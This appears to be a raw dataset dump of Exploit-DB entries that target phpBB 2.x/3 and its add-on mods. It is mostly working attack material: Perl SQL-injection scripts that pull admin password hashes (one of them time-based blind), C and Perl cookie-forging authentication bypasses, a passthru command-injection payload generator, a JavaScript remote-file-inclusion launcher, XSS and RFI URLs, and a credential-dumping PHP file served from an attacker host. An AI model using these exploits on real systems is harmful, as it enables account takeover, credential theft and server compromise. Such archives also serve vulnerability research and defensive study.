deardaniel/secdata-raw huggingface dataset:
Exploit-DB #137
Description: phpBB 2.0.6 - 'search_id' SQL Injection / MD5 Hash
Type: webapps
Platform: php
Date: 2003-12-21
Author: RusH

Exploit:
#!/usr/bin/perl -w
use IO::Socket;
##    PROOF-OF-CONCEPT
##    * work only with mysql ver > 4.0
##    * work only with post #1 
##
##    Example:
##    C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
##    [~] prepare to connect...
##    [+] connected
##    [~] prepare to send data...
##    [+] OK
##    [~] wait for response...
##    [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
##
if (@ARGV < 4)
{
print "\n\n";
print "|****************************************************************|\n";
print " r57phpbb.pl\n";
print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n";
print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n";
print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n";
print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n";
print " [~] <server> - server ip\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print " [~] <search_id> - play with this value for results\n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}
$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
$search_id = $ARGV[3];
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";
print "[+] connected\n";
print "[~] prepare to send data...\n";
# PROOF-OF-CONCEPT reguest...
print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat
(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,
116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,
97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,
105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34)
,user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,
59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,
59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,
58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,
104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/*
HTTP/1.0\r\n\r\n";
print "[+] OK\n";
print "[~] wait for response...\n";
while ($answer = <$socket>)
{
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&amp/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
}
}
if ($success==0) {print "[-] exploit failed =(\n";}
## o---[ RusH security team | www.rsteam.ru | 2003 ]---o


# milw0rm.com [2003-12-21]
Exploit-DB #23125
Description: phpBB 2.0.6 - URL BBCode HTML Injection
Type: webapps
Platform: php
Date: 2003-09-08
Author: keupon_ps2

Exploit:
source: https://www.securityfocus.com/bid/8570/info


phpBB BBCode has been reported prone to an HTML injection vulnerability. It has been reported that an attacker may inject malicious script into areas of phpBB where BBCode is rendered, for example, bulletin board posts or private messages. This issue is due to a lack of sufficient sanitization performed on user supplied URL BBCode tags.

An attacker may exploit this issue to steal cookie-based authentication credentials; other attacks may also be possible. 

[url=http://www.example.com" onclick="alert('Hello')]text[/url]

[url=http://www.example.com" onclick=alert("bug");"]test[/url]
Exploit-DB #24026
Description: phpBB 2.0.x - 'album_portal.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-04-19
Author: Officerrr

Exploit:
source: https://www.securityfocus.com/bid/10177/info

It has been reported that phpBB may be prone to a file include vulnerability that may allow remote attackers to include a remote malicious script to be executed on a vulnerable system.

http://www.example.com/album_portal.php?phpbb_root_path=http://www.example.com/&phpEx=/../../[example.php]
Exploit-DB #25523
Description: phpBB 2.0.x - 'profile.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-23
Author: HaCkZaTaN

Exploit:
source: https://www.securityfocus.com/bid/13344/info

phpBB is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/phpBB2/profile.php?mode=viewprofile&u=\[]\
Exploit-DB #23363
Description: phpBB 2.0.x - 'profile.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-11-08
Author: JOCANOR

Exploit:
source: https://www.securityfocus.com/bid/8994/info

A SQL injection vulnerability has been reported for phpBB systems.

phpBB, in some cases, does not sufficiently sanitize user-supplied input, which is used when constructing SQL queries to execute on the underlying database. As a result, it is possible to manipulate SQL queries. This may allow a remote attacker to modify query logic or potentially corrupt the database.

SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/profile.php?mode=viewprofile&u='[sqlcode]
Exploit-DB #27961
Description: phpBB 2.0.x - 'template.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-02
Author: Canberx

Exploit:
source: https://www.securityfocus.com/bid/18255/info

The phpBB application is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path_to_phpbb]/template.php?page=[attacker]
Exploit-DB #25524
Description: phpBB 2.0.x - 'viewtopic.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-23
Author: HaCkZaTaN

Exploit:
source: https://www.securityfocus.com/bid/13345/info

phpBB is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/phpBB2/viewtopic.php?p=3&highlight=\[]\
Exploit-DB #24274
Description: phpBB 2.0.x - 'viewtopic.php' PHP Script Injection
Type: webapps
Platform: php
Date: 2004-07-12
Author: sasan hezarkhani

Exploit:
source: https://www.securityfocus.com/bid/10701/info

The 'viewtopic.php' phpBB script is prone to a remote PHP script injection vulnerability because the application fails to properly sanitize user-supplied URI parameters before using them to construct dynamically generated web pages.

Exploiting this issue may allow a remote attacker to execute arbitrary commands in the context of the webserver that is hosting the vulnerable software. 

<?
$rush='ls -al'; //do what
$highlight='passthru($HTTP_GET_VARS[rush])'; // dont touch

print "?t=%37&rush=";

for ($i=0; $i<strlen($rush); ++$i) {
 print '%' . bin2hex(substr($rush,$i,1));
}

print "&highlight=%2527.";

for ($i=0; $i<strlen($highlight); ++$i) {
 prt '%' . bin2hex(substr($highlight,$i,1));
}

print ".%2527";
?>
Exploit-DB #25168
Description: phpBB 2.0.x - Authentication Bypass (1)
Type: webapps
Platform: php
Date: 2005-02-28
Author: Paisterist

Exploit:
// source: https://www.securityfocus.com/bid/12678/info

phpBB is affected by an authentication bypass vulnerability.

This issue is due to the application failing to properly sanitize user-supplied input during authentication.

Exploitation of this vulnerability would permit unauthorized access to any known account including the administrator account.

The vendor has addressed this issue in phpBB 2.0.13. 

/*
Author: Paisterist
Date: 28-02-05
[N]eo [S]ecurity [T]eam ©

Description: this exploit modify the user id that is in your
cookies.txt (Firefox and Mozilla) file.
You have to log in the forum, with the autologin option unchecked,
then you close the navigator and
execute the exploit.
If you have any problem with the exploit, remove all cookies and do all 
again.

Note: you have to put the exploit in the same directory of cookies.txt.
This exploit overwrite all phpbb cookies that have the user id 
specified.

I HAVE NOT DISCOVERED THIS VULNERABILITY, I DON'T KNOW WHO HAS 
DISCOVERED IT.

By Paisterist

http://neosecurityteam.net
http://neosecurityteam.tk

Greetz: Hackzatan, Crashcool, Towner, Daemon21, Wokkko, Maxx, 
Arcanhell, Alluz.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv[]) {
FILE *pointer;
char contenido[10000],

cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0
%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22",
cookief[9]="%22%3B%7D", cookiec[106],

cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb
%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D",
*pos;
int p=0, i=0;

if (argc!=2) {
printf("Usage: phpbb_exploit.exe user_id\n\n");
exit(0);
}
pointer=fopen("cookies.txt", "r");

if (pointer) {
fread(contenido, 300, 10, pointer);
fclose(pointer);
} else {
printf("The file can't be open\n");
exit(0);
}

strcpy(cookiec, cookie);
strncat(cookiec, argv[1], 6);
strcat(cookiec, cookief);

if (pos=strstr(contenido, cookiec)) {
p=pos - contenido;
while (i<92) {
if (cookie_false[i]!=NULL) 
contenido[p]=cookie_false[i];
p++;
i++;
}
}
else {
printf("The file cookies.txt isn't valid for execute the
exploit or the user id is incorrect\n");
exit(0);
}

if (pointer=fopen("cookies.txt", "w")) {
fputs(contenido, pointer);
printf("Cookie modified: \n\n%s\n\n", contenido);
printf("The cookies file has overwriten... looks like the exploit has worked");
} else printf("\n\nThe file cookies.txt has not write permissions.");
return 0;
}
Exploit-DB #25169
Description: phpBB 2.0.x - Authentication Bypass (2)
Type: webapps
Platform: php
Date: 2005-02-28
Author: phuket

Exploit:
source: https://www.securityfocus.com/bid/12678/info
 
phpBB is affected by an authentication bypass vulnerability.
 
This issue is due to the application failing to properly sanitize user-supplied input during authentication.
 
Exploitation of this vulnerability would permit unauthorized access to any known account including the administrator account.
 
The vendor has addressed this issue in phpBB 2.0.13.

#!/usr/bin/perl

#   phpBB 2.0.12 Session Handling Administrator Authentication
#   Bypass EXPLOIT
#   written by phuket
#
#   The discoverer of this bug is unknown, says "Paiserist" who wrote a C exploit
for this bug.
#     http://packetstormsecurity.org/0503-exploits/phpbbsession.c
#
#

#  I tested this code with Firefox on my linux box, I do not know if it works
with mozilla or on #windows
#  $url is the name of the cookie ( www.phpbb.com / $url= phpbb.com ) Look at
cookies.txt for the name of the cookie

#  I wrote this exploit after reading "phpBB 2.0.12 Session Handling
Administrator Authentication #Bypass    -SIMPLIFIED-"  By PPC^Rebyte
#  and it is based on his code
#
# Sorry for my bad english :/

$file = "/////cookies.txt" ; # path to your cookies.txt
$url = $ARGV[0];

open (FILE , '<'."$file" ) or die ('File does not exist')  ; # path to your
cookies.txt file
@cookie= <FILE> ;
close FILE ;


$exploit =
"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"
;

foreach $i (@cookie)
{
        if ($i=~/$url/) {

$i
=~s/a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A(.*?)%3A%22(.*?)%22%3B%7D/$exploit/
;
print "OK\n" ;
}

}

open (FILE , '>'."$file") or die ('Can not write Cookie') ; ;
print FILE @cookie ;
close FILE ;

#greetings to Jubeltrubel,Julien S.,crosbow,XFlorian,Nibble,Trasher and Invi ;)
#thx to Paiserist,PPC^Rebyte and to the unknown discoverer of this bug :)
#phuket
Exploit-DB #8083
Description: phpBB 3 - 'autopost bot mod 0.1.3' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-20
Author: Kacper

Exploit:
phpBB 3 (autopost bot mod <= 0.1.3) Remote File Include Vulnerability

Vulnerability author: Kacper

Greetz: all DEVIL TEAM forum members.


Author Website: http://devilteam.pl/
                http://polskihacking.pl/



Mod Description:
This mod automatically post content from RSS feed into destination forum.
MOD Download: http://phpbb3.smika.net/
Demo: http://phpbb3.smika.net

dont work when php5 or newest.

Vulnerability:

http://site.cz/forum_path/includes/functions_lastrss_autopost.php?config[lastrss_ap_enabled]=1&phpbb_root_path=[evil_code]

------------------------------------------------------------------

Bad codE:

includes/functions_lastrss_autopost.php - line 204 - 240:

[code]
if($config['lastrss_ap_enabled'])                                        <-----{1}
{
  // init & setup lastrss
  // $rss can be already initiated by lastRSS agregator mod by SmiX
  if(!isset($rss))                                                       <-----{2}
  {
    require $phpbb_root_path . 'includes/class_lastrss.' . $phpEx;                                   <-----{3}
    $rss = new lastrss;	
  }
  // init/change settings for lastrss autopost bot
  $rss->cache_time = 0;                                         // not used in this mod
  $rss->items_limit = $config['lastrss_ap_items_limit'];        // default limit of items to post
  $rss->type = $config['lastrss_type'];                         // connection type (fopen / curl)

  // init lastRSS autopost MOD !
  // check if we have some feeds in database to check
  $sql = 'SELECT *
		      FROM ' . LASTRSS_AP_TABLE . '
		      WHERE next_check < "' . time() . '" AND enabled = "1"';
  $result	= $db->sql_query($sql);
	$row = $db->sql_fetchrow($result);
	$db->sql_freeresult($result);
  // so do we have some feeds to post ?
  if(sizeof($row) > 0)
  {
    // we are already sure, that at least one feed exists!
    $feed = get_next_feed_to_post(); 
  }

  // do we have some feed data ?
  if (isset($feed) && (sizeof($feed) > 0))
  {  
    // we are sure, we have feed info for checking the feed!
    autopost_init($feed);
  }
}
?>
[/code]

------------------------------------------------------------------

Zapraszam na forum DEVIL TEAM, 
google:"DEVIL TEAM" lub http://6189.pl, http://devilteam.pl

# milw0rm.com [2009-02-20]
Exploit-DB #7386
Description: phpBB 3 - Mod Tag Board 4 Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-12-08
Author: StAkeR

Exploit:
#!/usr/bin/perl 
# ---------------------------------------------------------------
# phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit  
# by athos - staker[at]hotmail[dot]it
# http://bx67212.netsons.org/forum/viewforum.php?f=3
# ---------------------------------------------------------------
# Note: Works regardless PHP.ini settings!
# Thanks meh also know as cHoBi
# ---------------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($hash,$time1,$time2);

my @chars = (48..57, 97..102); 
my $http  = new LWP::UserAgent;

my $host  = shift;
my $table = shift;
my $myid  = shift or &usage;


sub injection
{
    my ($sub,$char) = @_;
    
    return "/tag_board.php?mode=controlpanel&action=delete&id=".
           "1+and+(select+if((ascii(substring(user_password,${sub},1)".
           ")=${char}),benchmark(230000000,char(0)),0)+from+${table}_us".
           "ers+where+user_id=${myid})--";
}


sub usage
{
    print STDOUT "Usage: perl $0 [host] [table_prefix] [user_id]\n";
    print STDOUT "Howto: perl $0 http://localhost/phpBB phpbb 2\n";
    print STDOUT "by athos - staker[at]hotmail[dot]it\n";
    exit;
}


syswrite(STDOUT,'Hash MD5: ');

for my $i(1..33)
{
    for my $j(0..16)
    {
        $time1 = time();

        $http->get($host.injection($i,$chars[$j]));
        
        $time2 = time();

        if($time2 - $time1 > 6)
        {
            syswrite(STDOUT,chr($chars[$j]));
            $hash .= chr($chars[$j]); 
            last;
        }
        
        if($i == 1 && length $hash < 0)
        {
            syswrite(STDOUT,"Exploit Failed!\n");
            exit;
        } 
    }
}

# milw0rm.com [2008-12-08]
Exploit-DB #2551
Description: phpBB ACP User Registration Mod 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-13
Author: bd0rk

Exploit:
          ..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%.
          .%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%.
          ..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%.
          .....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%.
          ..%%%%....%%%%...%%..%%...........%%%%...%%..%%..%%%%%%...%%.%%..
          .................................................................
        
               phpBB ACP User Registration (MMW) Mod 1.00 File Inclusion Vulnerability


Date: 2006/10/13
Time: 18:20:57 => GMT+1:00

Founder: bd0rk || SOH-Crew
Website: www.soh-crew.it.tt
Greetz: str0ke, Perle, Tr4ileR, nukedx

Download: http://www.phpbb.com/phpBB/catdb.php?mode=download&id=1988012

Code: include_once($phpbb_root_path . 'includes/functions_validate.' . $phpEx);
include_once($phpbb_root_path . 'includes/functions_post.' . $phpEx);
include_once($phpbb_root_path . 'includes/bbcode.' . $phpEx);

[+]Exploit: http://[target]/[directory]/includes/functions_mod_user.php?phpbb_root_path=http://Sh3llScript?

# milw0rm.com [2006-10-13]
Exploit-DB #5417
Description: phpBB Addon Fishing Cat Portal - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-09
Author: bd0rk

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Fishing Cat Portal Addon (functions_portal.php) Remote File Inclusion Exploit</title>

<script language="JavaScript">

//'Bug found and Exploit coded by bd0rk
//'Vendor: http://www.foxymods-phpbb.com/
//'Download: http://www.foxymods-phpbb.com/download.php?id=7
//'Contact: bd0rk[at]hackermail.com

//'Vulnerable Code in line 21: include_once($phpbb_root_path . 'includes/lite.'.$phpEx);
//'$phpbb_root_path is not declared before include
//'Greetings: str0ke, TheJT, rgod, Frauenarzt

//#The german Hacker bd0rk

var dir="/includes/"
var file="/functions_portal.php?"
var parameter ="phpbb_root_path="
var shell="Insert your shellcode here"

function command() {
if (document.rfi.target1.value==""){
alert("Exploit failed...");
return false;
}

rfi.action= document.rfi.target1.value+dir+file+parameter+shell;
rfi.submit();
}
</script>
</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">Fishing Cat Portal Addon (functions_portal.php) Remote File Inclusion Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[directory]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Start" name="B1"><input type="reset" value="Delete" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">bd0rk</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2008-04-09]
Exploit-DB #2475
Description: phpBB Admin Topic Action Logging Mod 0.94b - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-04
Author: SpiderZ

Exploit:
           /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ Hacking Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'


# Author: SpiderZ
# Admin Topic Action Logging Remote File Inclusion Vulnerability
# Version 0.95 Admin Topic Action Logging
# For: phpBB ( 2.0.x - 2.0.21 )
# Site: www.spiderz.altervista.org
# Site02: www.spiderz.netsons.org
_________________________________________________________________________




http://site.com/[path]/admin/admin_topic_action_logging.php?setmodules=pagestart&phpbb_root_path=http://[Evil_script]




-------------------------------------------------------------------------------------
# Download: http://www.nivisec.com/downloads/phpbb/admin_topic_action_logging_beta.zip
# File: 38 KB
-------------------------------------------------------------------------------------

# milw0rm.com [2006-10-04]
Exploit-DB #22017
Description: phpBB Advanced Quick Reply Hack 1.0/1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2002-11-13
Author: Hai Nam Luke

Exploit:
source: https://www.securityfocus.com/bid/6173/info

The phpBB Advanced Quick Reply Hack is prone to an issue which may allow attackers to include arbitrary files from a remote server.

It is possible for remote attackers to influence the include path for 'extension.inc' in the 'quick_reply.php' script. As a result, an attacker may cause an arbitrary PHP script to be included from an attacker-supplied source, which may result in execution of commands with the privileges of the webserver. 

<?php
include('config'.'.php');
echo "DB Type: $dbms <br>";
echo "DB Host: $dbhost <br>";
echo "DB Name: $dbname <br>";
echo "DB User: $dbuser <br>";
echo "DB Pass: $dbpasswd <br>";
exit;
?>

Then submit the following request to the host running the vulnerable software:

http://www.example.com/quick_reply.php?phpbb_root_path=http://attackersite.tld/&mode=smilies
Exploit-DB #2532
Description: phpBB Ajax Shoutbox 0.0.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-12
Author: boecke

Exploit:
#
# *
# * Title: phpBB Ajax Shoutbox <= 0.0.5 (phpbb_root_path) Remote File Inclusion
# * Author/Discovery: boecke
# * Vulnerability Type: Remote File Inclusion
# * Risk: High Risk
# * Software Affected: phpBB Ajax Shoutbox <= 0.0.5
# * Release Source: http://usuarios.lycos.es/kinfule/download.php?id=16
# * Release Page @ phpBB.com : http://www.phpbb.com/phpBB/viewtopic.php?t=389032
# *
# * Literally shouts to: str0ke and henrik
# * Don't promote Google-ism!
# *
#

[ Vulnerable Code: ]
$phpbb_root_path = ( !@$phpbb_root_path ) ? './' : $phpbb_root_path;
require_once($phpbb_root_path . 'extension.inc');
require_once($phpbb_root_path . 'common.'.$phpEx);

[ Proof on Concept: ]
http://localhost/phpBB2/shoutbox.php?phpbb_root_path=

# milw0rm.com [2006-10-12]